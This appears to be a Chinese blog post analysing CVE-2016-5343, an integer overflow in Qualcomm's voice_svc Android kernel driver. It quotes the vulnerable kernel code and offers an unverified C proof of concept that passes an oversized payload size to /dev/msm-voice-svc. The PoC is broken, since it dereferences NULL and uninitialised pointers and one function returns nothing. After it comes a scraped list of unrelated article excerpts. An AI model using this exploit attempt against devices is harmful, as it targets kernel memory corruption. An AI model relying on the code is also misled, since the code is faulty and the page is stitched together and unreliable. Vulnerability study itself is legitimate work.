CVE-2016-5343分析

最近在学习android内核漏洞,写篇博做个记录,也算是所学即用。 https://www.codeaurora.org/multiple-memory-corruption-issues-write-operation-qdsp6v2-voice-service-driver-cve-2016-5343,有高通的洞也是潜力无限,漏洞定位到/msm/drivers/soc/qcom/qdsp6v2/voice_svc.c的voice_svc_send_req,可以得知write操作能触发,没有搜到这个洞的poc,看补丁,是个整数溢出,用户控制的payload_size,传入kmalloc函数,payload_size+sizeof(struct apr_data)作为分配大小,于是很明显可产生整数溢出了,实际分配了比期望小很多的内存,后续引用该内存发生不可预期结果。

static int voice_svc_send_req(struct voice_svc_cmd_request *apr_request,
                  struct voice_svc_prvt *prtd)
{
    int ret = 0;
    void *apr_handle = NULL;
    struct apr_data *aprdata = NULL;
    uint32_t user_payload_size = 0;

    pr_debug("%s\n", __func__);

    if (apr_request == NULL) {
        pr_err("%s: apr_request is NULL\n", __func__);

        ret = -EINVAL;
        goto done;
    }

    user_payload_size = apr_request->payload_size;//

    aprdata = kmalloc(sizeof(struct apr_data) + user_payload_size,
              GFP_KERNEL);//会分配小于设定值的内存
    if (aprdata == NULL) {
        pr_err("%s: aprdata kmalloc failed.\n", __func__);

        ret = -ENOMEM;
        goto done;
    }

写了个poc,尚未经验证,先记录下,后续实验过后再完善:

 1 #include <stdlib.h>
 2 #include <stdio.h>
 3 #include <unistd.h>
 4 #include <sys/ioctl.h>
 5 #include <sys/types.h>
 6 #include <sys/stat.h>
 7 #include <fcntl.h>
 8 #include "voice_svc.h"
 9
10 static int open_dev(const char *dev){
11     int fd=open(dev,O_RDWR);
12     if(fd<0){
13         printf("failed to open %s\n",dev);
14         exit(EXIT_FAILURE);
15     }
16 }
17
18 int main(void){
19     struct voice_svc_write_msg *data=NULL;
20     data->msg_type=MSG_REQUEST;
21     struct voice_svc_cmd_request *apt_request;
22     apt_request->payload_size=0xffffffff;
23
24     data->payload[0] = apt_request;
25     int fd=-1;
26     fd=open_dev("/dev/msm-voice-svc");//设备名有待确定
27     int ret;
28     ret=write(fd,data,(sizeof(*data)+sizeof(struct voice_svc_register)));
29     close(fd);
30         return 0;
31 }
时间: 2024-12-27 20:27:29

CVE-2016-5343分析的相关文章

2016年终分析(传统开发与网络时代的Java开发)

2016重大事件:(在此将2016年的开发称为传统开发) 1.乌镇互联网大会大会(大数据&云计算) 2.某东struts2安全漏洞 3.作为一个程序呀对于淘宝双11和双12的分析应该是最好的案例 ●国家发展战略:大数据+云计算->强势兴起 产生: Java应该学什么? 全栈工程师的提出(以后的方向)? 三块技能拼接: ●传统WEB开发+大数据&云计算+互联网技术 1.如果只是会传统WEB开发,包括所谓的开发框架(SSH,SSM)都是很难稳住工作岗位的! 2.大数据&云计算:技

2016~2017年活动行总结

讲师:韩梅 讲师介绍: 韩梅老师有着十几年的IT方面从业经验.曾在微软公司的新一代商业软件平台发布会,MicrosoftLync媒体见面会.微软明智IT等众多微软大型活动担任主演讲者和技术指导.连续多年受邀参与MicrosoftTechEd技术大会的技术讲解和动手实验.在TechEd 2010中曾与微软亚太研发集团总经理同台完成"Extending BusinessProductivity to Cloud"主题演讲,在TechEd 2011中其主讲的"Microsoft E

MySQL慢查询(二) - pt-query-digest详解慢查询日志 pt-query-digest 慢日志分析

随笔 - 66 文章 - 0 评论 - 19 MySQL慢查询(二) - pt-query-digest详解慢查询日志 一.简介 pt-query-digest是用于分析mysql慢查询的一个工具,它可以分析binlog.General log.slowlog,也可以通过SHOWPROCESSLIST或者通过tcpdump抓取的MySQL协议数据来进行分析.可以把分析结果输出到文件中,分析过程是先对查询语句的条件进行参数化,然后对参数化以后的查询进行分组统计,统计出各查询的执行时间.次数.占比等

MySQL慢查询(二) - pt-query-digest详解慢查询日志

一.简介 pt-query-digest是用于分析mysql慢查询的一个工具,它可以分析binlog.General log.slowlog,也可以通过SHOWPROCESSLIST或者通过tcpdump抓取的MySQL协议数据来进行分析.可以把分析结果输出到文件中,分析过程是先对查询语句的条件进行参数化,然后对参数化以后的查询进行分组统计,统计出各查询的执行时间.次数.占比等,可以借助分析结果找出问题进行优化. 二.安装pt-query-digest 1.下载页面:https://www.pe

线程的2种实现和线程的交替执行

学了线程,收获不少,记录下了吧. 一.线程的主要两种实现方法. 1.继承Thread类,重写run()方法 main方法中创建子类,引用调用start()方法 实例如下: //继承Thread类,重写run()方法 public class ThreadOne extends Thread { public void run() { for (int i = 1; i <=100; i++) { System.out.println(this.getName()+":"+i);

商业直播崛起 行业领头羊微赞直播有何杀手锏?

互联网变革速度之快让很多人感到震惊,一年前依然很小众的视频直播今年快速成为当红炸子鸡.全民直播时代的来临,也标志着2017年是业内公认的直播元年.正当面向普通网民的网络直播平台面临政策整顿以及因为市场竞争而陷入刷量.炒作等口水战的时候,面向企业的商业直播平台正快速崛起.凭借着更清晰的盈利模式及尚未开发的庞大企业市场需求,商业直播也正迎来大风口,受到资本市场的追捧. 被忽略的黄金赛道 商业直播市场之所以快速崛起,源于企业线下大型活动.企业宣传.企业招商等众多应用场景的需要,视频直播可以比传统推广模

Android安全研究经验谈

一.安全研究做什么 攻击角度:对某个模块进行漏洞挖掘的方法,对某个漏洞进行利用的技术,通过逆向工程破解程序.解密数据,对系统或应用进行感染.劫持等破坏安全性的攻击技术等. 防御角度:查杀恶意应用的方法,检测和防范漏洞利用,为增强系统和第三方应用的安全性提供解决方案等. 通常,攻与防是相对模糊的,一种安全技术往往两端都适用,也许更值得留意的是一种技术背后的思路和意识. 二.需要具备的知识 安全涉及的知识范畴是无限的,但大多数时候可以遇到问题再去了解相关知识. 三.要掌握的理论知识 操作系统原理,非

【转】Android安全研究经验谈

本文转载自:http://www.cnblogs.com/whp2011/archive/2015/01/26/4250875.html 一.安全研究做什么 攻击角度:对某个模块进行漏洞挖掘的方法,对某个漏洞进行利用的技术,通过逆向工程破解程序.解密数据,对系统或应用进行感染.劫持等破坏安全性的攻击技术等. 防御角度:查杀恶意应用的方法,检测和防范漏洞利用,为增强系统和第三方应用的安全性提供解决方案等. 通常,攻与防是相对模糊的,一种安全技术往往两端都适用,也许更值得留意的是一种技术背后的思路和

pt-query-digest详解慢查询日志

一.简介 pt-query-digest是用于分析mysql慢查询的一个工具,它可以分析binlog.General log.slowlog,也可以通过SHOWPROCESSLIST或者通过tcpdump抓取的MySQL协议数据来进行分析.可以把分析结果输出到文件中,分析过程是先对查询语句的条件进行参数化,然后对参数化以后的查询进行分组统计,统计出各查询的执行时间.次数.占比等,可以借助分析结果找出问题进行优化. 二.安装pt-query-digest 1.下载页面:https://www.pe

pt-query-digest详解慢查询日志(转)

一.简介 pt-query-digest是用于分析mysql慢查询的一个工具,它可以分析binlog.General log.slowlog,也可以通过SHOWPROCESSLIST或者通过tcpdump抓取的MySQL协议数据来进行分析.可以把分析结果输出到文件中,分析过程是先对查询语句的条件进行参数化,然后对参数化以后的查询进行分组统计,统计出各查询的执行时间.次数.占比等,可以借助分析结果找出问题进行优化. 二.安装pt-query-digest 1.下载页面:https://www.pe